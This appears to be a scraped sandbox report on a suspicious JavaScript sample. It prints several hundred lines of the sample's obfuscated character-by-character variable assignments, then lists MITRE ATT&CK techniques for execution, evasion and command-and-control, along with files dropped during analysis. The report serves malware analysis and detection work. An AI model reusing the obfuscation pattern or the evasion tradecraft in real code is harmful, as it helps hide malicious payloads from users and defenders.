1002	mhxgvi = "d";
1003	mhxgvi = "D";
1004	mhxgvi = "T";
1005	mhxgvi = "y";
1006	mhxgvi = "Z";
1007	mhxgvi = "t";
1008	mhxgvi = "C";
1009	mhxgvi = "o";
1010	mhxgvi = "v";
1011	mhxgvi = "O";
1012	mhxgvi = "B";
1013	mhxgvi = "A";
1014	mhxgvi = "c";
1015	mhxgvi = "W";
1016	mhxgvi = "V";
1017	mhxgvi = "A";
1018	mhxgvi = "J";
1019	mhxgvi = "g";
1020	lndclogg = "b";
1021	lndclogg = "v";
1022	lndclogg = "Z";
1023	lndclogg = "l";
1024	lndclogg = "l";
1025	lndclogg = "g";
1026	lndclogg = "N";
1027	lndclogg = "k";
1028	lndclogg = "l";
1029	lndclogg = "h";
1030	lndclogg = "W";
1031	lndclogg = "i";
1032	lndclogg = "d";
1033	lndclogg = "i";
1034	lndclogg = "F";
1035	lndclogg = "l";
1036	lndclogg = "y";
1037	lndclogg = "x";
1038	lndclogg = "Q";
1039	lndclogg = "c";
1040	lndclogg = "g";
1041	lndclogg = "A";
1042	lndclogg = "T";
1043	lndclogg = "g";
1044	lndclogg = "c";
1045	lndclogg = "v";
1046	lndclogg = "g";
1047	lndclogg = "C";
1048	lndclogg = "i";
1049	lndclogg = "s";
1050	lndclogg = "I";
1051	lndclogg = "Z";
1052	lndclogg = "6";
1053	sqzrez = "U";
1054	sqzrez = "p";
1055	sqzrez = "K";
1056	sqzrez = "B";
1057	sqzrez = "m";
1058	sqzrez = "c";
1059	sqzrez = "J";
1060	sqzrez = "N";
1061	sqzrez = "H";
1062	sqzrez = "i";
1063	sqzrez = "U";
1064	sqzrez = "k";
1065	sqzrez = "B";
1066	sqzrez = "V";
1067	sqzrez = "l";
1068	sqzrez = "C";
1069	sqzrez = "G";
1070	sqzrez = "m";
1071	sqzrez = "F";
1072	sqzrez = "I";
1073	sqzrez = "T";
1074	sqzrez = "Q";
1075	sqzrez = "E";
1076	sqzrez = "w";
1077	sqzrez = "E";
1078	sqzrez = "q";
1079	sqzrez = "y";
1080	sqzrez = "t";
1081	sqzrez = "X";
1082	sqzrez = "L";
1083	gvtqnkvu = "A";
1084	gvtqnkvu = "o";
1085	gvtqnkvu = "P";
1086	gvtqnkvu = "U";
1087	gvtqnkvu = "N";
1088	gvtqnkvu = "W";
1089	gvtqnkvu = "I";
1090	uzqtidvca = "E";
1091	uzqtidvca = "M";
1092	uzqtidvca = "J";
1093	uzqtidvca = "b";
1094	uzqtidvca = "z";
1095	uzqtidvca = "&";
1096	kehdhmqr = "B";
1097	kehdhmqr = "J";
1098	kehdhmqr = "K";
1099	kehdhmqr = "r";
1100	kehdhmqr = "d";
1101	kehdhmqr = "x";
1102	kehdhmqr = "V";
1103	kehdhmqr = "w";
1104	kehdhmqr = "T";
1105	kehdhmqr = "r";
1106	kehdhmqr = "j";
1107	kehdhmqr = "R";
1108	kehdhmqr = "h";
1109	kehdhmqr = "O";
1110	kehdhmqr = "c";
1111	kehdhmqr = "R";
1112	kehdhmqr = "u";
1113	kehdhmqr = "p";
1114	kehdhmqr = "v";
1115	kehdhmqr = "Q";
1116	kehdhmqr = "n";
1117	kehdhmqr = "h";
1118	kehdhmqr = "N";
1119	kehdhmqr = "J";
1120	kehdhmqr = "H";
1121	kehdhmqr = "a";
1122	kehdhmqr = "U";
1123	kehdhmqr = "e";
1124	kehdhmqr = "p";
1125	jaiubnc = "y";
1126	jaiubnc = "A";
1127	jaiubnc = "X";
1128	jaiubnc = "P";
1129	jaiubnc = "L";
1130	jaiubnc = "C";
1131	jaiubnc = "q";
1132	jaiubnc = "z";
1133	jaiubnc = "S";
1134	jaiubnc = "V";
1135	jaiubnc = "m";
1136	jaiubnc = "H";
1137	jaiubnc = "M";
1138	jaiubnc = "n";
1139	jaiubnc = "M";
1140	jaiubnc = "F";
1141	jaiubnc = "C";
1142	jaiubnc = "X";
1143	jaiubnc = "h";
1144	rewwi = "s";
1145	rewwi = "O";
1146	rewwi = "u";
1147	rewwi = "E";
1148	rewwi = "f";
1149	rewwi = "u";
1150	rewwi = "l";
1151	rewwi = "D";
1152	rewwi = "b";
1153	rewwi = "z";
1154	rewwi = "E";
1155	rewwi = "E";
1156	rewwi = "v";
1157	rewwi = "U";
1158	rewwi = "B";
1159	rewwi = "Y";
1160	rewwi = "I";
1161	rewwi = "D";
1162	rewwi = "u";
1163	rewwi = "V";
1164	rewwi = "q";
1165	rewwi = "W";
1166	rewwi = "w";
1167	rewwi = "K";
1168	rewwi = "o";
1169	rewwi = "c";
1170	dmctquz = "k";
1171	dmctquz = "k";
1172	dmctquz = "W";
1173	dmctquz = "W";
1174	dmctquz = "O";
1175	dmctquz = "Q";
1176	dmctquz = "O";
1177	dmctquz = "f";
1178	dmctquz = "k";
1179	dmctquz = "N";
1180	dmctquz = "x";
1181	dmctquz = "K";
1182	dmctquz = "U";
1183	dmctquz = "j";
1184	dmctquz = "M";
1185	dmctquz = "x";
1186	dmctquz = "H";
1187	dmctquz = "Z";
1188	dmctquz = "a";
1189	dmctquz = "i";
1190	dmctquz = "x";
1191	dmctquz = "G";
1192	dmctquz = "b";
1193	dmctquz = "K";
1194	dmctquz = "h";
1195	dmctquz = "b";
1196	dmctquz = "n";
1197	dmctquz = "L";
1198	dmctquz = "a";
1199	dmctquz = "s";
1200	dmctquz = "z";
1201	dmctquz = "\\";
1202	vefwnpvdy = "K";
1203	vefwnpvdy = "M";
1204	vefwnpvdy = "N";
1205	vefwnpvdy = "R";
1206	vefwnpvdy = "e";
1207	vefwnpvdy = "d";
1208	vefwnpvdy = "p";
1209	vefwnpvdy = "e";
1210	vefwnpvdy = "O";
1211	vefwnpvdy = "z";
1212	vefwnpvdy = "R";
1213	vefwnpvdy = "t";
1214	vefwnpvdy = "p";
1215	vefwnpvdy = "y";
1216	vefwnpvdy = "Q";
1217	vefwnpvdy = "X";
1218	vefwnpvdy = "O";
1219	vefwnpvdy = "m";
1220	vefwnpvdy = "q";
1221	vefwnpvdy = "K";
1222	vefwnpvdy = "A";
1223	vefwnpvdy = "R";
1224	vefwnpvdy = "i";
1225	vefwnpvdy = "O";
1226	vefwnpvdy = "I";
1227	vefwnpvdy = "X";
1228	vefwnpvdy = "U";
1229	vefwnpvdy = "W";
1230	vefwnpvdy = "S";
1231	vefwnpvdy = "U";
1232	vefwnpvdy = "b";
1233	vefwnpvdy = "O";
1234	vefwnpvdy = "_";
1235	oievmokct = "I";
1236	oievmokct = "R";
1237	oievmokct = "j";
1238	oievmokct = "y";
1239	oievmokct = "W";
1240	oievmokct = "l";
1241	oievmokct = "q";
1242	oievmokct = "d";
1243	oievmokct = "d";
1244	oievmokct = "b";
1245	oievmokct = "W";
1246	oievmokct = "r";
1247	oievmokct = "S";
1248	oievmokct = "l";
1249	oievmokct = "e";
1250	oievmokct = "N";
1251	oievmokct = "y";
1252	oievmokct = "A";
1253	oievmokct = "H";
1254	oievmokct = "T";
1255	oievmokct = "m";
1256	oievmokct = "Q";
1257	oievmokct = "X";
1258	oievmokct = "v";
1259	oievmokct = "j";
1260	oievmokct = "Q";
1261	oievmokct = "g";
1262	oievmokct = "H";
1263	oievmokct = "V";
1264	oievmokct = "O";
1265	oievmokct = "F";
1266	oievmokct = "G";
1267	oievmokct = "B";
1268	oievmokct = "t";
1269	oievmokct = "x";
1270	oievmokct = "g";
1271	oievmokct = "E";
1272	oievmokct = "Q";
1273	oievmokct = "J";
1274	oievmokct = "v";
1275	oievmokct = "O";
1276	oievmokct = "f";
1277	fzssub = "r";
1278	fzssub = "G";
1279	fzssub = "N";
1280	fzssub = "j";
1281	fzssub = "l";
1282	fzssub = "f";
1283	fzssub = "P";
1284	fzssub = "R";
1285	fzssub = "q";
1286	fzssub = "P";
1287	fzssub = "C";
1288	fzssub = "X";
1289	fzssub = "o";
1290	fzssub = "y";
1291	fzssub = "P";
1292	fzssub = "H";
1293	fzssub = "F";
1294	fzssub = "i";
1295	fzssub = "3";
1296	rgccn = "D";
1297	rgccn = "X";
1298	rgccn = "r";
1299	rgccn = "D";
1300	rgccn = "I";
1301	rgccn = "n";
1302	rgccn = "y";
1303	rgccn = "w";
1304	rgccn = "q";
1305	rgccn = "o";
1306	rgccn = "h";
1307	rgccn = "w";
1308	rgccn = "T";
1309	rgccn = "i";
1310	rgccn = "l";
1311	rgccn = "L";
1312	rgccn = "v";
1313	rgccn = "F";
1314	rgccn = "d";
1315	rgccn = "p";
1316	rgccn = "Q";
1317	rgccn = "n";
1318	rgccn = "B";
1319	rgccn = "D";
1320	rgccn = "k";
1321	rgccn = "Z";
1322	rgccn = "m";
1323	rgccn = "O";
1324	rgccn = "b";
1325	rgccn = "n";
1326	rgccn = "d";
1327	rgccn = "V";
1328	rgccn = "n";
1329	rgccn = "F";
1330	rgccn = "8";
1331	higddsxt = "R";
1332	higddsxt = "f";
1333	higddsxt = "t";
1334	higddsxt = "R";
1335	higddsxt = "n";
1336	higddsxt = "X";
1337	higddsxt = "L";
1338	higddsxt = "P";
1339	higddsxt = "j";
1340	higddsxt = "X";
1341	higddsxt = "I";
1342	higddsxt = "D";
1343	higddsxt = "T";
1344	higddsxt = "q";
1345	higddsxt = "C";
1346	higddsxt = "C";
1347	higddsxt = "e";
1348	higddsxt = "P";
1349	higddsxt = "n";
1350	higddsxt = "e";
1351	delmtoi = "K";
1352	delmtoi = "T";
1353	delmtoi = "c";
1354	delmtoi = "s";
1355	delmtoi = "T";
1356	delmtoi = "U";
1357	delmtoi = "J";
1358	delmtoi = "L";
1359	delmtoi = "L";
1360	delmtoi = "u";
1361	delmtoi = "Z";
1362	delmtoi = "s";
1363	delmtoi = "L";
1364	delmtoi = "O";
1365	delmtoi = "N";
1366	delmtoi = "Y";
1367	delmtoi = "D";
1368	delmtoi = "V";
1369	delmtoi = "F";
1370	delmtoi = "z";
1371	delmtoi = "k";
1372	delmtoi = "z";
1373	delmtoi = "L";
1374	delmtoi = "Y";
1375	delmtoi = "E";
1376	delmtoi = "w";
1377	delmtoi = "l";
1378	delmtoi = "s";
1379	delmtoi = "A";
1380	delmtoi = "D";
1381	delmtoi = "g";
1382	delmtoi = "e";
1383	delmtoi = "n";
1384	delmtoi = "v";
1385	delmtoi = "w";
1386	delmtoi = "O";
1387	delmtoi = "i";
1388	pbbyigxx = "i";
1389	pbbyigxx = "N";
1390	pbbyigxx = "w";
1391	pbbyigxx = "j";
1392	pbbyigxx = "y";
1393	pbbyigxx = "s";
1394	pbbyigxx = "H";
1395	pbbyigxx = "U";
1396	pbbyigxx = "M";
1397	pbbyigxx = "B";
1398	pbbyigxx = "i";
1399	pbbyigxx = "Y";
1400	pbbyigxx = "G";
1401	pbbyigxx = "r";
1402	pbbyigxx = "B";
1403	pbbyigxx = "F";
1404	pbbyigxx = "L";
1405	pbbyigxx = "t";
1406	qlzabkxit ( );	qlzabkxit() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4623256121503424814.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0bd391b5-6685-45d3-bee2-e42b1082c412.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1072

Windows Analysis Report
4623256121503424814.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre